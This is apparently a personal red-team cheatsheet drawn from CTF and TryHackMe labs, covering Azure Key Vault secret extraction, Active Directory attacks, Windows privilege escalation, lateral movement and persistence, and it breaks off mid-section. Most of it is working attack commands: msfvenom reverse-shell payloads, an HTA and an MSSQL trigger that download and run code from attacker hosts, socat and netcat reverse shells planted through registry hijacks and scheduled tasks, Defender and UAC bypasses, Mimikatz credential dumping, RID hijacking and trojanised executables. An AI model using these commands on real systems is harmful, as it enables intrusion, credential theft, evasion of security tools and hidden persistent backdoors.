Cheatsheet

Cheatsheet for personal use, no success guaruanteed, you might be better off using other sources

Azure stuff

Login process

Set password in Powershell

$pass = ConvertTo-SecureString "USER_PASSWORD" -AsPlainText -Force

Store cred

$cred = New-Object System.Management.Automation.PSCredential("USER_EMAIL", $pass)

Login

Connect-AzAccount -Credential $cred

Keyvault enumeration

List available resources

Get-AzResource 

List key vault secret info

Get-AzKeyVaultSecret -VaultName <VAULTNAME> 

List soft deleted vault

Get-AzKeyVault -InRemovedState | Where-Object {$_.VaultName -eq 'ashvpexm991'}

Undo soft deleted vault removal

Undo-AzKeyVaultRemoval -VaultName 'VAULTNAME' -ResourceGroupName 'RESOURCEGROUPNAME'-Location 'LOCATION' 

Get key vault key (used to decrypt secrets etc)

Get-AzKeyVaultKey -VaultName 'KEYVAULTNAME'  

List soft deleted secret

Get-AzKeyVaultSecret -VaultName <VAULTNAME> -InRemovedState

List soft deleted key

Get-AzKeyVaultKey -VaultName <VAULTNAME> -InRemovedState 

Undo soft deleted key removal

Undo-AzKeyVaultKeyRemoval -VaultName '<VAULTNAME>' -Name 'KEYNAME' 

Recover deleted key

Undo-AzKeyVaultSecretRemoval -VaultName '<VAULTNAME>' -Name 'SECRETNAME'

List key vault secret in plaintext

Get-AzKeyVaultSecret -VaultName <VAULTNAME> -Name <SECRETNAME> -AsPlainText 

Get versions of key vauatl secret

Get-AzKeyVaultSecret -VaultName ASwcajlr991 -Name asegfdpk991 -IncludeVersions

View access policy of a vault

Get-AzKeyVault -VaultName VAULTNAME 

Change access policy to secrets

Set-AzKeyVaultAccessPolicy -VaultName VAULTNAME -UserPrincipalName USER_EMAIL -PermissionsToSecrets all 

Change acesss policy to KEYS

Set-AzKeyVaultAccessPolicy -VaultName VAULTNAME -UserPrincipalName USER EMAIL -PermissionsToKeys all 

Change access policy to SECRETS

Set-AzKeyVaultAccessPolicy -VaultName asjmnbxe991 -UserPrincipalName ASaznrly991@redteamlabsus.onmicrosoft.com -PermissionsToSecrets all

Decrypt encrypted key

$encryptedBytes = [Convert]::FromBase64String('gM+e8vwit3j9Kx6cQ7keYpQIC4hqq6FT3w2d1WEO7ytTilYOv1e4Ym4Sc08DHJbGzSM1GizhOs+ZOYfelGM8BnHR1G4AVHz3597nlCD0qFF35G8FyvZvJ7k2B3fLisY+/EWL2OKYrS8YWs+ktkENccnpX+pQAtvFqaDQmoU8ZW3GSXJPAhwlje2TsHhYV7XS8qiIuk2gUHpvtjJwIn0fRicj3ZURYBwc+OdzH+JG+PM4gOxqBcNCCnleGDDb/e8gCVb36WTxu67ICRZ0T0qGfZ6dJ/AFcMIChZt39I5ilndG1XTPK9pfkoXqHDHZ+ke1tUFRWwW+ULJUEfOGeobwLg==')

$DecryptedData = Invoke-AzKeyVaultKeyOperation -Operation Decrypt -Algorithm RSA1_5 -ByteArrayValue $encryptedBytes -VaultName KEYVAULT_NAME -Name KEY_NAME

[system.Text.Encoding]::UTF8.GetString($DecryptedData.RawResult)

List versions of secret

Get-AzKeyVaultSecret -VaultName 'KEYVAULT_NAME' -Name 'SECRET_NAME' -IncludeVersions 

Get specific version of a secret

Get-AzKeyVaultSecret -VaultName 'KEYVAULT_NAME' -Name 'SECRET_NAME' -Version 'VERSION' -AsPlainText 

List versions of a key

Get-AzKeyVaultKey -VaultName AStlries991 -Name ascvjdmu991 -IncludeVersions

Get specific version of a key

Get-AzKeyVaultKey -VaultName AStlries991 -Name ascvjdmu991 -Version 123b861d48524bca950b4b04e4a963b4

Decrypt using specific key version

$DecryptedData = Invoke-AzKeyVaultKeyOperation -Operation Decrypt -Algorithm RSA1_5 -ByteArrayValue $encryptedBytes -VaultName astlries991 -Name ascvjdmu991 -Version  123b861d48524bca950b4b04e4a963b4

List key vault key Key operations

Note: try this when you get "Operation decrypt is not permitted on this key." Error

(Get-AzKeyVaultKey -VaultName  ASknqdiw991 -Name asfoaxlz991).Attributes.KeyOps

Set key vault key operations

Set-AzKeyVaultKey -VaultName ASknqdiw991 -Name asfoaxlz991  -KeyOps @("encrypt", "decrypt", "sign", "verify", "wrapKey", "unwrapKey")

Enumerate SubDomains

Import-Module MicroBurst.psm1 
Invoke-EnumerateAzureSubDomains -Base "<Key Vault Name>"

Subdomain Service --------- ------- asoifzgd251.vault.azure.net Key Vaults

Get Bloodhound data without being spotted by AV/EDR

Use

  • https://learn.microsoft.com/en-us/sysinternals/downloads/adexplorer
  • https://github.com/fortalice/bofhound
  • https://gist.githubusercontent.com/kozmer/725cde788e4b3c8bdd870468c243916b/raw/31fe6dc8eb89bb4bcac414f55bc91169d63864d8/ldapsearch_parser.py
  • ldapsearch -LLL -o ldif-wrap=no -E '!1.2.840.113556.1.4.801=::MAMCAQc=' -H ldap:// -Y GSSAPI -N -b "DC=,DC=" "(&(objectClass=*))" > ldapsearch_output.txt

NOSQL Injection

Basic auth bypass

user[$ne]=asd&pass[$ne]=asd&remember=on

Filter users with $nin

['username'=>['$nin'=>['admin', 'jude'] ], 'password'=>['$ne'=>'aweasdf']]

Whitebox testing notes

Websocket tools to interact

BURPSUITE!

websocat https://github.com/vi/websocat/releases/tag/v1.11.0

Websocket scanner

https://github.com/PalindromeLabs/STEWS

Examples:

python3 STEWS-fingerprint.py -u websockets.htb/messages -n -5
python3 STEWS-fingerprint.py -u websockets.htb/messages -n -4
python3 STEWS-vuln-detect.py -h
python3 STEWS-vuln-detect.py -n -u websockets.htb/messages -1
python3 STEWS-vuln-detect.py -n -u websockets.htb/messages -1 -d

Setup mysql docker container

docker run -p 3306:3306 -e MYSQL_USER='db' -e MYSQL_PASSWORD='db-password' -e MYSQL_DATABASE='db' -e MYSQL_ROOT_PASSWORD='db' --mount type=bind,source="$(pwd)/db.sql",target=/docker-entrypoint-initdb.d/db.sql mysql

Setup http middleware for WebSocket connection

from flask import Flask, request
from websocket import create_connection
import json

app = Flask(__name__)

WS_URL = 'ws://172.17.0.2/dbconnector'

@app.route('/')
def index():
    req = {}
    req['username'] = request.args.get('username', '')

    ws = create_connection(WS_URL)
    ws.send(json.dumps(req))
    r = json.loads(ws.recv())
    ws.close()

    if r.get('error'):
        return r['error']

    return r['messages']

app.run(host='127.0.0.1', port=8000)

Sites to monitor requests incase you don't want to host locally

https://app.interactsh.com/#/ https://webhook.site/

Reverse engineering

Use pwngdb and pwntools

Use C-functions in python

import ctypes
libc = ctypes.CDLL('libc.so.6')
for i in range(255):
    libc.srand(i)
    mapping[libc.rand()] = chr(i)

Access value from an ELF using pwntools

from pwn import *
e = ELF("./casino", checksec=False)
val = e.u32(e.sym["check"] + j * 4)

MQTT

Enum channels

nmap -p 1883 --script mqtt-subscribe <target>

Sub to channel

mosquitto_sub -h 10.10.89.17 -t U4vyqNlQtf/0vozmaZyLT/15H9TF6CHg/pub

Pub on channel

mosquitto_pub -h 10.10.89.17 -t XD2rfR9Bez/GqMpRSEobh/TvLQehMg0E/sub -m "eyJpZCI6ICIxIiwgImNtZCI6ICJDTUQiLCAiYXJnIjogImNhdCBmbGFnLnR4dCJ9"

Active directory

Good cheatsheet

https://wadcoms.github.io/#

Enum users

crackmapexec smb <IP> -u anonymous -p "" --rid-brute  
ldapsearch -x -b "dc=baby,dc=vl" "user"   -H ldap://baby.vl 

Breaching

LDAP Pass-back Attack

Can be used then some other service uses AD LDAP and we can trick it to connect to our own malicious LDAP server instead of the target's

install slapd

sudo apt-get update && sudo apt-get -y install slapd ldap-utils && sudo systemctl enable slapd

reconfigure each time

Note: set domains to match targets domain!!

sudo dpkg-reconfigure -p low slapd

Create a new file with this content and save it as conf.ldif for example

#olcSaslSecProps.ldif
dn: cn=config
replace: olcSaslSecProps
olcSaslSecProps: noanonymous,minssf=0,passcred

Restart service with oud new config

ldapmodify -Y EXTERNAL -H ldapi:// -f ./oldSaslSecProps.ldif && service slapd restart

Listen for our tcp traffic on port 389 to get creds

sudo tcpdump -SX -i breachad tcp port 389

Retreive credentials from PXE Boot Image

Note: this is not too common vulnerability I think

After receiving the file name of the image eg. x64{50364AB9-F5EF-4DAF-9501-1FE668B8691D}.bcd

Download it via tftp

tftp -i <IP> GET "\Tmp\x64{50364AB9-F5EF-4DAF-9501-1FE668B8691D}.bcd " conf.bcd

Read contents via powerxpe

Import-Module .\PowerPXE.ps1
$BCDFile = "conf.bcd"
Get-WimFile -bcdFile $BCDFile

Download the image itself

tftp -i <THMMDT IP> GET "<PXE Boot Image Location>" pxeboot.wim

Find credentials inside image

Get-FindCredentials -WimFile pxeboot.wim

Pass the hash

xfreerdp /v:VICTIM_IP /u:DOMAIN\\MyUser /pth:NTLM_HASH
psexec.py -hashes NTLM_HASH DOMAIN/MyUser@VICTIM_IP
evil-winrm -i VICTIM_IP -u MyUser -H NTLM_HASH

Session hijacking

RDP

Launch powershell in admin session
PSExec64.exe -s cmd.exe
Query sessions
query user
Connect our session to another
tscon 3 /dest:rdp-tcp#6

Port forwarding

Socat
socat TCP4-LISTEN:13389,fork TCP4:THMIIS.za.tryhackme.com:3389

Pivoting via ssh

This example is from THM´s Port forwarding course, check it out!

Add port forwards

Note: Execute this on already owned victim, this connect's back from owned victom to attacker

Create dummy user on linux

useradd tunneluser -m -d /home/tunneluser -s /bin/true
passwd tunneluser
ssh tunneluser@ATTACKER_IP -R 8888:thmdc.za.tryhackme.com:80 -L *:6666:127.0.0.1:6666 -L *:7878:127.0.0.1:7878 -N
Set metasploit options
set lhost thmjmp2.za.tryhackme.com
set ReverseListenerBindAddress 127.0.0.1
set lport 7878 
set srvhost 127.0.0.1
set srvport 6666
set rhosts 127.0.0.1
set rport 8888

### LDAP enum

#### Anonymous enum

 ldapsearch -x -b "dc=baby,dc=vl" "*"  -H ldap://baby.vl
 ldapsearch -x -b "dc=baby,dc=vl" "user"   -H ldap://baby.vl 

Windows Red Teaming related shit

Weaponization (try them out at THM)

vbs

sample payload

Set shell = WScript.CreateObject("Wscript.Shell")
shell.Run("C:\Windows\System32\calc.exe " & WScript.ScriptFullName),0,True
shell.Run("C:\Windows\System32\cmd.exe " & WScript.ScriptFullName),1,True

run

  wscript hello.vbs
  wsccript /e:VBScript payload.txt

hta

sample

<html>
<body>
<script>
    // var c= 'cmd.exe'
  var c = "powershell iwr -uri 'http://10.10.14.6/customshell.exe' -Outfile C:\\Windows\\Tasks\\a.exe;C:\\Windows\\Tasks\\a.exe -e cmd.exe"
    new ActiveXObject('WScript.Shell').Run(c);
</script>
</body>
</html>

generate payload

Serve hta with web server (eg. python)

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.8.232.37 LPORT=443 -f hta-psh -o xxx.hta

metasploit create and serve hta

use exploit/windows/misc/hta_server

vbs

basic payload

Sub Document_Open()
  EXECUTE
End Sub

Sub AutoOpen()
  EXECUTE
End Sub

Sub EXECUTE()
   MsgBox ("Welcome to Weaponization Room!")
End Sub

Sub EXECUTE()
    Dim payload As String
    payload = "calc.exe"
    CreateObject("Wscript.Shell").Run payload,0
End Sub

msfvenom

Note: if using .doc files change WorkbookOpen to Documentopen If using excel, no changes needed

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.50.159.15 LPORT=443 -f vba

powershell

With PowerCat

powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('http://ATTACKBOX_IP:8080/powercat.ps1');powercat -c 10.10.10.10 -p 1337 -e cmd"

Enum

powershell

change keyboard layout

powershell -command "Set-WinUserLanguageList -Force 'fi-FI'"

check for antivirus/windows defender

wmic /namespace:\\root\securitycenter2 path antivirusproduct
Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntivirusProduct
Get-Service WinDefend
Get-MpComputerStatus | select RealTimeProtectionEnabled
Get-MpThreat

EDR checker

https://github.com/PwnDexter/SharpEDRChecker

check for firewall

Get-NetFirewallProfile | Format-Table Name, Enabled

disable firewall

Set-NetFirewallProfile -Profile Domain, Public, Private -Enabled False
Get-NetFirewallProfile | Format-Table Name, Enabled

firewall rules

Get-NetFirewallRule | select DisplayName, Enabled, Description
Get-NetFirewallRule | findStr "Rule-name"

Test connection

Test-NetConnection -ComputerName 127.0.0.1 -Port 80

EDR checkers

Invoke-EDRChecker SharpEDRChecker

network enum

netstat -na
arp -a
ipconfig
ipconfig /all

general

systeminfo
whoami /priv
whoami
whoami /groups

smb

net share

users

net user 
net group
net localgroup
net localgroup administrators

updates

wmic qfe get Caption, Description

Credentials

reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
cat C:\Users\USER\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
Get-AdUser -Filter * -Properties * | Select Name, Description
Credentials Mimikatz
sekurlsa::logonpasswords
If we get 0x00005 error then:
!processprotect /process:lsass.exe /remove
!+
sekurlsa::logonpasswords
Credential Manager

Note: https://github.com/samratashok/nishang/blob/master/Gather/Get-WebCredentials.ps1

vaultcmd /list
VaultCmd.exe /listproperties:"Web Credentials"
powershell -ex bypass
Import-Module Get-WebCredentials.ps1
Get-WebCredentials
Check stored creds
 cmdkey /list
 runas /savecred /user:THM.red\thm-local cmd.exe
LAPS

Check if exists

dir "C:\Program Files\LAPS\CSE"
Get-Command *AdmPwd*
Find-AdmPwdExtendedRights -Identity THMorg

active directory

Basic

Note: use run-tool to check MMC if rdp is available

systeminfo | findstr Domain
Get-ADUser -Filter *
Get-ADUser -Filter * -SearchBase "CN=Users,DC=THMREDTEAM,DC=COM"
Get-ADUser -Filter * -SearchBase "OU=THM,DC=THMREDTEAM,DC=COM"
Get-ADUser -Identity gordon.stevens -Server za.tryhackme.com -Properties * 
Get-ADUser -Filter 'Name -like "*stevens"' -Server za.tryhackme.com | Format-Table Name,SamAccountName -A
Get-ADGroup -Identity Administrators -Server za.tryhackme.com
Get-ADGroupMember -Identity Administrators -Server za.tryhackme.com
$ChangeDate = New-Object DateTime(2022, 02, 28, 12, 00, 00)
Get-ADObject -Filter 'whenChanged -gt $ChangeDate' -includeDeletedObjects -Server za.tryhackme.com
Get-ADObject -Filter 'badPwdCount -gt 0' -Server za.tryhackme.com
Get-ADDomain -Server za.tryhackme.com

## Change password of user 
Set-ADAccountPassword -Identity gordon.stevens -Server za.tryhackme.com -OldPassword (ConvertTo-SecureString -AsPlaintext "old" -force) -NewPassword (ConvertTo-SecureString -AsPlainText "new" -Force)

dir \\za.tryhackme.com\SYSVOL\
net user /domain
net user zoe.marshall /domain
net group /domain
net group "Tier 1 Admins" /domain
net accounts /domain

Event Log / Sysmon

Get-EventLog -List
Get-Process | Where-Object { $_.ProcessName -eq "Sysmon" }
Get-Service | where-object {$_.DisplayName -like "*sysm*"}
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Sysmon/Operational
findstr /si '<ProcessCreate onmatch="exclude">' C:\tools\*

applications / services

wmic product get name,version
Get-ChildItem -Hidden -Path C:\Users\xxx\Desktop\
net start
wmic service where "name like 'THM Service'" get Name,PathName
Get-Process -Name "thm-service"
netstat -noa |findstr "LISTENING" |findstr "PID"

dns zone transfer

nslookup
--> server 10.10.5.186
--> ls -d thmredteam.com

Priv esc

Good automation scripts (these can be noisy)

Files to check

  • C:\Unattend.xml
  • C:\Windows\Panther\Unattend.xml
  • C:\Windows\Panther\Unattend\Unattend.xml
  • C:\Windows\system32\sysprep.inf
  • C:\Windows\system32\sysprep\sysprep.xml
  • C:\ProgramData\McAfee\Agent\DB\ma.db
  • %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
  • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config

Saved credentials

cmdkey /list
runas /savecred /user:admin cmd.exe
reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /s

quick wins (ctf style)

Check for tasks and see if we can write on any of of their location

## List of tasks
schtasks
## Info about specific task (eg. pathname)
schtasks /query /tn vulntask /fo list /v
## Check write access
icacls c:\tasks\schtask.bat
## try to run task
schtasks /run /tn vulntask

Check AlwaysInstallElevated

IF both of these are set good to go

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer

Generate payload:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKING_10.10.13.22 LPORT=LOCAL_PORT -f msi -o malicious.msi

Execute

msiexec /quiet /qn /i C:\Windows\Temp\malicious.msi

Services

If we can write to any location where service-executables are located, overwrite them and get a shell/session

Also, check for quotes on BINARYPATHNAME - property, if there are no quotes but spaces we can abuse this since space is argument separator

EG

BINARY_PATH_NAME   : C:\MyPrograms\Disk Sorter Enterprise\bin\disksrs.exe

Can be intercepted as

C:\MyPrograms\Disk arg1 arg2

and so on

Also, test accesschk if we can edit the service itself (check for SERVICEALLACCESS)

See config

sc qc apphostsvc

Edit config (might not have rights)

sc config THMService binPath= "C:\Users\thm-unpriv\Desktop\rev-svc.exe" obj= LocalSystem

Registry

On registry editor goto:

HKLM\SYSTEM\CurrentControlSet\Services\

Imagepath = Path to run ObjectName = runner

Check for permissions

icacls C:\PROGRA~2\SYSTEM~1\WService.exe

Generate service payload

msfvenom -p windows/x64/shell_reverse_tcp LHOST=tun0 LPORT=4445 -f exe-service -o rev-svc.exe

Overwrite service with our payload

cp C:\Users\thm-unpriv\Desktop\rev-svc.exe WService.exe

Give permissions to our new payload

icacls WService.exe /grant Everyone:F

Restart our service if we can

## On cmd.exe
sc stop windowsscheduler
sc start windowsscheduler

Privilege abusing

Check with

whoami /priv

SeBackupPrivilege / SeRestorePrivilege

First cp hive files:
reg save hklm\system C:\Users\THMBackup\system.hive
reg save hklm\sam C:\Users\THMBackup\sam.hive
Send them to attacker host (eg smb)
copy C:\Users\THMBackup\sam.hive \\10.11.23.111\public\
copy C:\Users\THMBackup\system.hive \\10.11.23.111\public\
Use impacket's secretsdump to dump hashes
secretsdump.py  -sam sam.hive -system system.hive LOCAL
Use hashes (eg. psexec from Impacket)
psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:8f81ee5558e2d1205a84d07b0e3b34f5 administrator@10.10.121.162

SeTakeOwnership

Abuse Utilman.exe

Take control
takeown /f C:\Windows\System32\Utilman.exe
Give privilege to yourself
icacls C:\Windows\System32\Utilman.exe /grant THMTakeOwnership:F
Rewrite Utilman
copy cmd.exe utilman.exe

After these steps lock your computer and press Ease of access button!

SeImpersonate

There is alot exploits for these, could use JuicyPotato or RoguePotato

Unpatched Software

Check installed products

wmic product get name,version,vendor

Find for CVE:s online

Pivoting

Running commands as another user

PSExec

Note: This is a Windows tool and can be downloaded here. Note2: Administrator account usually needed. Ports: 445 (SMB)

psexec64.exe \\MACHINE_IP -u Administrator -p Mypass123 -i cmd.exe

WinRS

When WinRM is enabled Ports: 5985/TCP (WinRM HTTP) or 5986/TCP (WinRM HTTPS)

winrs.exe -u:Administrator -p:Mypass123 -r:target cmd

Powershell

Note: you can send files like this. This uploads to C:\Windows -folder

smbclient -c 'put myinstaller.msi' -U username -W ZA '//thmiis.za.tryhackme.com/admin$/' password
 putting file myinstaller.msi as \myinstaller.msi
$username = 'Administrator';
$password = 'Mypass123';
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force; 
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword;

After that

Enter-PSSession -Computername TARGET -Credential $credential

OR

Invoke-Command -Computername TARGET -Credential $credential -ScriptBlock {whoami}

WMI

$Opt = New-CimSessionOption -Protocol DCOM
$Session = New-Cimsession -ComputerName TARGET -Credential $credential -SessionOption $Opt -ErrorAction Stop
$Command = "powershell.exe -Command Set-Content -Path C:\text.txt -Value munrawashere";

Invoke-CimMethod -CimSession $Session -ClassName Win32_Process -MethodName Create -Arguments @{
CommandLine = $Command
}

INSTALL MSI

Generate with

msfvenom -p windows/x64/shell_reverse_tcp LHOST=lateralmovement LPORT=4445 -f msi > bolainstaller.msi

INSTALL:

Invoke-CimMethod -CimSession $Session -ClassName Win32_Product -MethodName Install -Arguments @{PackageLocation = "C:\Windows\myinstaller.msi"; Options = ""; AllUsers = $false}

WMI (LEGACY)

wmic.exe /user:Administrator /password:Mypass123 /node:TARGET process call create "cmd.exe /c calc.exe" 

sc

Ports: 135/TCP, 49152-65535/TCP (DCE/RPC) 445/TCP (RPC over SMB Named Pipes) 139/TCP (RPC over SMB Named Pipes)

Administrator required

Note: sc doesn't work with SSH, spawn another shell (eg netcat) before using this

Start:
sc.exe \\TARGET create THMservice binPath= "net user munra Pass123 /add" start= auto
sc.exe \\TARGET start THMservice
Shut down:
sc.exe \\TARGET stop THMservice
sc.exe \\TARGET delete THMservice

scheduled tasks

Same restrictions as sc

To start:
schtasks /s TARGET /RU "SYSTEM" /create /tn "THMtask1" /tr "<command/payload to execute>" /sc ONCE /sd 01/01/1970 /st 00:00 

schtasks /s TARGET /run /TN "THMtask1" 
To shutdown:
schtasks /S TARGET /TN "THMtask1" /DELETE /F

UAC BYPASS

Automatic script

Note: Akagi https://github.com/hfiref0x/UACME

Via fodhelper.exe

Note: Defender blocks this

Get a reverse shell

set REG_KEY=HKCU\Software\Classes\ms-settings\Shell\Open\command
set CMD="powershell -windowstyle hidden C:\Tools\socat\socat.exe TCP:<attacker_ip>:4444 EXEC:cmd.exe,pipes"
reg add %REG_KEY% /v "DelegateExecute" /d "" /f
reg add %REG_KEY% /d %CMD% /f
fodhelper.exe

Defender bypass 1 (be fast, unreliable)

Works the same, but in the end it adds a query which slows down windows defender a bit

set REG_KEY=HKCU\Software\Classes\ms-settings\Shell\Open\command
set CMD="powershell -windowstyle hidden C:\Tools\socat\socat.exe TCP:<attacker_ip>:4444 EXEC:cmd.exe,pipes"
reg add %REG_KEY% /v "DelegateExecute" /d "" /f
## THIS 
reg add %REG_KEY% /d %CMD% /f & reg query %REG_KEY%
fodhelper.exe
## OR THIS
 reg add %REG_KEY% /d %CMD% /f & fodhelper.exe

Cleanup

reg delete HKCU\Software\Classes\ms-settings\ /f

Defender bypass 2 (cmd.exe)

Execute

set CMD="powershell -windowstyle hidden C:\Tools\socat\socat.exe TCP:10.10.224.43:4445 EXEC:cmd.exe,pipes"
reg add "HKCU\Software\Classes\.thm\Shell\Open\command" /d %CMD% /f
reg add "HKCU\Software\Classes\ms-settings\CurVer" /d ".thm" /f
fodhelper.exe

Cleanup

reg delete "HKCU\Software\Classes\.thm\" /f
reg delete "HKCU\Software\Classes\ms-settings\" /f

Scheduled tasks and env variables

Execute

reg add "HKCU\Environment" /v "windir" /d "cmd.exe /c C:\tools\socat\socat.exe TCP:<attacker_ip>:4446 EXEC:cmd.exe,pipes &REM " /f

Cleanup

reg delete "HKCU\Environment" /v "windir" /f

Persistence

Also check out:

https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Persistence.md

Add user to admin group

net localgroup administrators thmuser0 /add

Add to Backup Operators group

Note: Backup operators can read any file on machine which essentially means admin access, also adding to Remote Management Users group so we can RDP and WinRM. Also, UAC makes some restrictions when logging in remotely so update a register key

Setup

net localgroup "Backup Operators" thmuser1 /add
net localgroup "Remote Management Users" thmuser1 /add
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /t REG_DWORD /v LocalAccountTokenFilterPolicy /d 1

After login (using Evil-WinRM )

Get sam & system files
reg save hklm\system system.bak
reg save hklm\sam sam.bak
download system.bak
download sam.bak
Dump hashes
python3.9 /opt/impacket/examples/secretsdump.py -sam sam.bak -system system.bak LOCAL

Special privileges

We basically add SeBackupPrivilege and SeRestorePrivilege to our account

Export current config for editing

secedit /export /cfg config.inf
notepad config.inf

Add our username to SeBackupPrivilege and SeRestorePrivilege lines

Note: using username is fine

Import our new config

secedit /import /cfg config.inf /db config.sdb
secedit /configure /db config.sdb /cfg config.inf

Modify WinRM service so we can login via WinRm

Add our user and give it full control via UI.

Set-PSSessionConfiguration -Name Microsoft.PowerShell -showSecurityDescriptorUI

RID Hijacking

We basically update registry values in a way that system thinks we are administrator

Find RID for our user

Note: RID is last number set after last - of the SID

wmic useraccount get name,sid

Edit our registry value

Note: PsExec64 needed

Open Registry Editor
PsExec64.exe -i -s regedit

Note: RID here is hex-presentation of our previously found RID

HKLM\SAM\SAM\Domains\Account\Users\RID
Edit F value
Find RID value from registry and change it to F4 01 (500 in decimal)

Now we can login via RDP

Backdoors via files

Replace commonly used program (eg. putty.exe) with tampered version:

msfvenom -a x64 --platform windows -x putty.exe -k -p windows/x64/shell_reverse_tcp lhost=ATTACKER_IP lport=4444 -b "\x00" -f exe -o puttyX.exe

Edit shortcut to execute mal program

Create a small script to execute wanted program with our backdoor

Store in Windows/System32/backdoor.ps1 for example

Start-Process -NoNewWindow "c:\tools\nc64.exe" "-e cmd.exe IP 4445"

C:\Windows\System32\calc.exe
Edit shortcut target

Note: you may need to update the icon after this to be more sneaky.

powershell.exe -WindowStyle hidden C:\Windows\System32\backdoor.ps1

Hijacking file associations

Basically this way we can get our backdoor to get executed everytime a certain file extension is opened!

Sample backdoor file

Start-Process -NoNewWindow "c:\tools\nc64.exe" "-e cmd.exe ATTACKER_IP 4448"
C:\Windows\system32\NOTEPAD.EXE $args[0]

Find extenions prog id in registry editor

Note: .txt is example

Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.txt

The ProgID is (Default)-fields Data-value

Find shell command of the ProgId in registry editor

Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Classes\{PROGID}

Change shell/open/command entry to execute our backdoor

powershell.exe -WindowStyle hidden C:\Windows\System32\backdoor.ps1

Services create

Generate service executable (eg with msfvenom)

msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4448 -f exe-service -o rev-svc.exe

Create service and start it

sc.exe create THMservice2 binPath= "C:\windows\rev-svc.exe" start= auto
sc.exe start THMservice2

Service modify

The plan is to find a stopped service that has STARTTYPE automatic, SERVICESTART_NAME is the user account which service runs on

Find a stopped service

sc.exe query state=all

See service properties

sc.exe qc THMService3

Edit service

sc.exe config THMservice3 binPath= "C:\Windows\rev-svc2.exe" start= auto obj= "LocalSystem"

Scheduled tasks

Create task

schtasks /create /sc minute /mo 1 /tn THM-TaskBackdoor /tr "c:\tools\nc64 -e cmd.exe 10.10.90.206 4449" /ru SYSTEM

Make task invisible

Edit registery value

Location:

Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\{TASKNAME}

Delete SD-value

Execute on user logon

Add new REGEXPANDSZ registry field in one of these, set Data to be path to your executable

HKCU\Software\Microsoft\Windows\CurrentVersion\Run
HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKLM\Software\Microsoft\Windows\CurrentVersion\Run
HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce

OR append UserInit or Shell registry on

HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\

OR add new regsitry "UserInitMprLogonScript" ON

HKCU\Environment

MSSQL

On MSSQL session execute queries:

sp_configure 'Show Advanced Options',1;
RECONFIGURE;
GO

sp_configure 'xp_cmdshell',1;
RECONFIGURE;
GO

After:

USE master

GRANT IMPERSONATE ON LOGIN::sa to [Public];

Configure trigger

USE HRDB
CREATE TRIGGER [sql_backdoor]
ON HRDB.dbo.Employees 
FOR INSERT AS

EXECUTE AS LOGIN = 'sa'
EXEC master..xp_cmdshell 'Powershell -c "IEX(New-Object net.webclient).downloadstring(''http://10.10.117.195:8000/evilscript.ps1'')"';

After all that, insert record to database and shell will execute!

Powershell disabled

Use https://github.com/Mr-Un1k0d3r/PowerLessShell.git

Generate payload

msfvenom -p windows/meterpreter/reverse_winhttps LHOST=IP LPORT=4443 -f psh-reflection > liv0ff.ps1

Metasploit 1 liner for listener

msfconsole -q -x "use exploit/multi/handler; set payload windows/meterpreter/reverse_winhttps; set lhost ip;set lport 4443;exploit"

Generate final payload

python2 PowerLessShell.py -type powershell -source /tmp/liv0ff.ps1 -output liv0ff.csproj

Use Msbuild to build payload

MSBuild.exe liv0ff.csproj

Exploiting AD

Constrained delegation

Check if anyone can delegate anything

Get-NetUser -TrustedToAuth

Get hash/password of the user who can delegate

mimikatz.exe
token::elevate
lsadump::secrets

Use kekeo to generate tickets

kekeo.exe
tgt::ask /user:svcIIS /domain:za.tryhackme.loc /password:ADD_PASSWORD_HERE
tgs::s4u /tgt:TGT_svcIIS@ZA.TRYHACKME.LOC_krbtgt~za.tryhackme.loc@ZA.TRYHACKME.LOC.kirbi /user:t1_trevor.jones /service:http/THMSERVER1.za.tryhackme.loc

tgs::s4u /tgt:TGT_svcIIS@ZA.TRYHACKME.LOC_krbtgt~za.tryhackme.loc@ZA.TRYHACKME.LOC.kirbi /user:t1_trevor.jones /service:wsman/THMSERVER1.za.tryhackme.loc

re enter mimikatz and use tickets

kerberos::ptt TGS_t1_trevor.jones@ZA.TRYHACKME.LOC_wsman~THMSERVER1.za.tryhackme.loc@ZA.TRYHACKME.LOC.kirbi
kerberos::ptt TGS_t1_trevor.jones@ZA.TRYHACKME.LOC_http~THMSERVER1.za.tryhackme.loc@ZA.TRYHACKME.LOC.kirbi
exit 
klist (optional)

Enter into a new session with the ticket we just generated

Enter-PSSession -ComputerName thmserver1.za.tryhackme.loc

Automatic relays (Printer bug)

We need:

  • A valid set of AD account credentials.
  • Network connectivity to the target's SMB service.
  • The target host must be running the Print Spooler service.
  • The hosts must not have SMB signing enforced.

Check for machine accounts (BLoodhound Query)

MATCH p=(c1:Computer)-[r1:MemberOf*1..]->(g:Group)-[r2:AdminTo]->(n:Computer) RETURN p

Check for Print Spooler

Get-PrinterPort -ComputerName thmserver2.za.tryhackme.loc
## OR 
GWMI Win32_Printer -Computer thmserver2.za.tryhackme.loc

Check for SMB signing

